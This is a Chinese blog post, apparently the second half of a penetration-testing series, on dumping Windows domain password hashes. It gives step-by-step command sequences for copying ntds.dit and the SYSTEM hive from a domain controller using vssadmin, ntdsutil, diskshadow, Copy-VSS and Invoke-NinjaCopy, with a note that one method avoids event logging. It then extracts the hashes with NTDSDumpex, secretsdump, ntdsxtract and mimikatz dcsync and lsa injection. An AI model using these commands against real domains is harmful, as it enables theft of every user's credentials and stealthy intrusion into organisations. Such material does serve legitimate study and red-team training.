windows中抓取hash小结(下)
书接上回,windows中抓取hash小结(上)
指路链接 https://www.cnblogs.com/lcxblogs/p/13957899.html
继续
0x03 从ntds.dit中抓取
ntds.dit是域控中保存域用户的hash等信息的一个二进制数据文件,用system进行加密,可以算是AD域的心脏,路径见上篇前言
ntds.dit在系统使用的时候是锁定不能复制下载的,所以只能用某种方式进行“提取”,比如Volume Shadow Copy(卷影拷贝\快照)
常规思路都是先创建目标主机的卷影拷贝,再把ntds.dit复制出来,最后删除卷影拷贝
先说怎么抓取ntds.dit,最后再说怎么从ntds.dit中导出hash,毕竟讲的是抓取hash,我不当标题党
和SAM一样,想要破解ntds.dit也需要system文件解密
提取注册表中的system文件到某处(写哪都行)例如: reg save HKLM\SYSTEM c:\windows\temp\system.hive
1.vssadmin
win2008和win7中自带(不止这俩)
查询当前系统快照 vssadmin list shadows
创建快照 vssadmin create shadow /for=c:
获得这个shadow copy volume name
复制ntds.dit copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
复制system copy shadow copy name\windows\System32\config\SYSTEM c:\SYSTEM
删除快照 vssadmin delete shadows /for=c: /quiet
2.ntdsutil
这个工具在win2003、2008、2012版本中在域控中自带的(不止这几个)
相关命令:
查询当前快照列表 ntdsutil snapshot "List All" quit quit
查询已挂载的快照列表 ntdsutil snapshot "List Mounted" quit quit
创建快照 ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照 ntdsutil snapshot "mount GUID" quit quit
卸载快照 ntdsutil snapshot "unmount GUID" quit quit
删除快照 ntdsutil snapshot "delete GUID" quit quit
创建快照后会有一个snapshot的guid
这里我的guid是{32de54d0-a217-48ed-87b1-2f0d8c5f6872}
之后挂载这个的快照 ntdsutil snapshot "mount {快照guid}" quit quit
之后会显示挂载位置 mounted as 什么什么
这里是C:\$SNAP_202011181957_VOLUMEC$\
复制ntds.dit copy 挂载位置\windows\NTDS\ntds.dit c:\ntds.dit
最后卸载快照 ntdsutil snapshot "unmount {快照guid}" quit quit
删除快照 ntdsutil snapshot "delete {快照guid}" quit quit
3.ntdsutil+IFM
ntdsutil除了用命令提取ntds.dit之外,还可以创建IFM来获取ntds.dit
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
可以把ntds.dit拖回本地了
然后诶,把test文件夹一删除 rmdir /s/q test
完事
(另:nishang中有Copy-VSS.ps1这个脚本
插一嘴:别忘了看当前powershell中的脚本策略
powershell中有四种脚本策略:
Restricted: 禁止运行任何脚本和配置文件
AllSigned :可以运行脚本,但要求所有脚本和配置文件由可信发布者签名,包括在本地计算机上编写的脚本
RemoteSigned :可以运行脚本,但要求从网络上下载的脚本和配置文件由可信发布者签名,不要求对已经运行和已在本地计算机编写的脚本进行数字签名
Unrestricted :可以运行未签名脚本
Get-ExecutionPolicy看一下当前策略
Set-ExecutionPolicy 策略名 改变当前策略
可以把它传到域控中,运行powershell窗口,执行如下语句
Import-Module .\Copy-VSS.ps1
Copy-vss
可以使ntds.dit、SAM、SYSTEM三个文件和此脚本搞到一个目录下,也可以算是一种一键提取ntds.dit的手段)
以上两个(vssadmin、ntdsutil)是系统本身自带的,还有一些不是自带的需要自行下载的脚本如vssown.vbs(与vssadmin类似)、vshadow.exe就不说了
4.diskshadow
注:这个思路是从网上得来的,仅供参考,实际利用失败,况且目标域控上无缘无故多了一个虚拟盘符真的没问题吗......哪位老懂哥给我说说可行性
但是diskshadow可以加载文件并执行的这个思路或许可以进一步利用,不只是像本例中为了获取ntds.dit
这个工具从名字就能看出是干嘛的,它是可以使用VSS(Volume Shadow Copy Service)卷影拷贝服务提供的功能的一种交互/非交互的命令解释器,可以利用它来导出ntds.dit,记得winserver 2008、2012、2016上默认都有自带(更高版本服务器暂时没用过......)
比较有趣的是,diskshadow可以执行脚本文件,这就意味着可以把命令写进文件中让它执行
(注意:使用diskshadow.exe需要在C:\windows\system32\ 这个目录下执行,不然报错)
新建文件1.txt,写入多条指令,然后执行,一次性解决问题
1.txt如下
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% k:
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
delete shadows all
list shadows all
reset
exit #逐行解释
设置卷影拷贝
添加卷
创建快照
分配虚拟磁盘盘符
将ntds.dit复制到C盘
删除所有快照
列出系统中的卷影拷贝
重置
退出
在固定路径下用diskshadow加载1.txt
diskshadow /s c:\1.txt
最后还要把system.hive转储,里面有ntds.dit密钥
5.NinjaCopy
从powersploit中找的,里面有很多脚本
也是一个ps脚本,把NinjaCopy.ps1扔到目标域控中,在脚本当前路径下的powershell中运行如下命令
Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "c:\Windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit"
Invoke-NinjaCopy -Path "c:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"
只要调用Volume Shadow Copy服务就会产生7036的系统日志,本方法没调用,不会产生日志
接下来说说何如从ntds.dit中提取出hash
1.NTDSDumpex
把ntds.dit、SYSTEM、NTDSDumpex.exe放在同一目录下
NTDSDumpex.exe -d ntds.dit -s SYETEM
2.secretsdump
还是impacket包中的工具
命令: python secretsdump.py -system /目录/system.hive -ntds /目录/ntds.dit LOCAL
(我把secretdump.py与system.hive与ntds.dit放在一个目录中了,实际可调整)
3.ntdsxtract
思路是用libesedb-tools提供的esedbexport工具从ntds.dit中提取表 ,提取出的表有两个比较重要database和link_table
然后下载安装ntdsxtract,用三个重要的参数即提取出来的database、link_table、system.hive(SYSTEM)来获取hash密码
libesedb下载链接 : https://github.com/libyal/libesedb/releases
cd进目录,apt-get install autoconf automake autopoint libtool pkg-config
之后按照顺序依次执行以下命令:
./configure
make
sudo make install
sudo ldconfig
之后就可以运行esedbexport命令了
下载ntdsxtract git clone https://github.com/csababarta/ntdsxtract.git
之后cd进ntdsxtract目录
python setup.py build && python setup.py install
把ntds.dit.export文件夹、system.hive文件一起放进ntdsxtract文件夹中
dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 data --syshive system.hive --passwordhashes --pwdformat john --ntoutfile nthash.txt --lmoutfile lmhash.txt
可以看到导出的结果
4.mimikatz dcsync
mimikatz还有直接读取ntds.dit的功能,都不需要复制ntds.dit再传回本地或就地提取hash
在域内任意主机上,以域管理员权限运行mimikatz直接 lsadump::dcsync /domain:域名 /all /csv
或者能把mimikatz在域控上运行,对lsass进程下狠手
privilege::debug
lsadump::lsa /inject
0x04 尾声
这两篇整理写了很久啊,电脑还坏了,换了换脑筋,之后要继续去和VT大战去了
祝各位年年有0day,岁岁拿高危,payload能免杀,姿势骚断腿
随便转载,请标明作者出处
windows中抓取hash小结(下)的更多相关文章
- windows中抓取hash小结(上)
我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个"前提"-----如何在windows系 ...
- #在FLAT模式下,需要设置flat子网,VM的IP从这个设置的子网中抓取,这时flat_injected需要设置为True,系统才能自动获得IP,如果flat
#在FLAT模式下,需要设置flat子网,VM的IP从这个设置的子网中抓取,这时flat_injected需要设置为True,系统才能自动获得IP,如果flat子网和主机网络是同一网络,网络管理员要注 ...
- windows密码抓取工具-mimikatz
前言 介绍一下windows的密码hash值的组成: Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如: Administrator::C8825D ...
- 【应用服务 App Service】App Service中抓取网络日志
问题描述 众所周知,Azure App Service是一种PaaS服务,也就是说,IaaS层面的所有内容都由平台维护,所以使用App Service的我们根本无法触碰到远行程序的虚拟机(VM), 所 ...
- ListView与.FindControl()方法的简单练习 #2 -- ItemUpdting事件中抓取「修改后」的值
原文出處 http://www.dotblogs.com.tw/mis2000lab/archive/2013/06/24/listview_itemupdating_findcontrol_201 ...
- FETCH - 用游标从查询中抓取行
SYNOPSIS FETCH [ direction { FROM | IN } ] cursorname where direction can be empty or one of: NEXT P ...
- windows中抓包命令,以及保存为多个文件的方法
本文主要介绍windows中抓包命令,以及保存为多个文件的方法 说一说保存为多个文件存储数据包这个问题的由来,一般如果长时间抓包,有可能需要等上几个小时,因为这个时候抓包的内容都是存放在内存中的,几个 ...
- java练习题(字符串类):显示4位验证码、输出年月日、从XML中抓取信息
1.显示4位验证码 注:大小写字母.数字混合 public static void main(String[] args) { String s="abcdefghijklmnopqrstu ...
- (转)利用Beautiful Soup去抓取p标签下class=jstest的内容
1.利用Beautiful Soup去抓取p标签下class=jstest的内容 import io import sys import bs4 as bs import urllib.request ...
随机推荐
- MySQL索引类型总结和使用技巧以及注意事项 (转)
在数据库表中,对字段建立索引可以大大提高查询速度.假如我们创建了一个 mytable表: 代码如下: CREATE TABLE mytable( ID INT NOT NULL, us ...
- Jsp自定义标签,配置tld文件
Program:Jsp自定义标签,.tld文件的配置 1 <?xml version="1.0" encoding="UTF-8" ?> 2 3 & ...
- Ha1cyon-CTF 芜湖
感觉自己还是很欠缺的,尤其是C++的逆向,对stl的不熟悉,直接误导我静态分析了...然后这种题和平常不同的是没有任何混淆和flag验证,需要的是耐心的分析,在过程中,找到线索,这题还考了base64 ...
- Java | 变量 & 常量
变量 Java是一种强类型语言,每个变量都必须声明其数据类型,变量本质上就是代表一个"可操作的存储的空间",在定义之后空间位置是确定的,但是里面放置什么值是不确定的,我们操作的时候 ...
- 关闭火狐浏览器中的Pocket功能
在火狐(Firefox)浏览器中,默认右键菜单和菜单栏都会有 Pocket按钮 .但是大部分国内用户都不会使用Pocket服务,看着还十分碍眼. 在工具栏的图标还可以通过定制工具栏修改,但是右键菜单中 ...
- C++ 11 多线程初探-std::memory_order
std::memory_order(可译为内存序,访存顺序) 动态内存模型可理解为存储一致性模型,主要是从行为(behavioral)方面来看多个线程对同一个对象同时(读写)操作时(concurren ...
- 基于IDEA的JAVA开发[第一集]:在Linux上安装IDEA
1,因为买了荣耀的magicbook pro 锐龙版,系统是Linux,以后打算直接在Linux上开发.本来熟悉Myeclipse,下载了Myeclipse2017 for Linux,但是安装中出现 ...
- 微信小程序云开发-云函数-调用初始云函数获取openid
一.调用初始云函数获取openid的两种方法 1.传统的success和fail 2.ES6的.then和.catch 3.编译结果 说明:初始云函数,是指刚创建完成的云函数.默认系统写的代码.
- 【JavaWeb】请求和响应Request&Response
请求 请求对象 关于请求 顾名思义,意思就是请求一个"对象" 请求不到的,别想了 请求,就是使用者希望从服务器端索取一些资源,向服务器发出询问.在B/S架构中,就是客户浏览器向服务 ...
- 【洛谷P5008 逛庭院】tarjan缩点+贪心
既然没有题解,那么我就来提供给一份. -- 首先我们看到数据范围.妈耶!数据这么大,一开始还想用个DP来做,但是看着就不行,那么根据这个数据范围,我们大致可以猜到这道题的算法是一个贪心,那么我们怎么贪 ...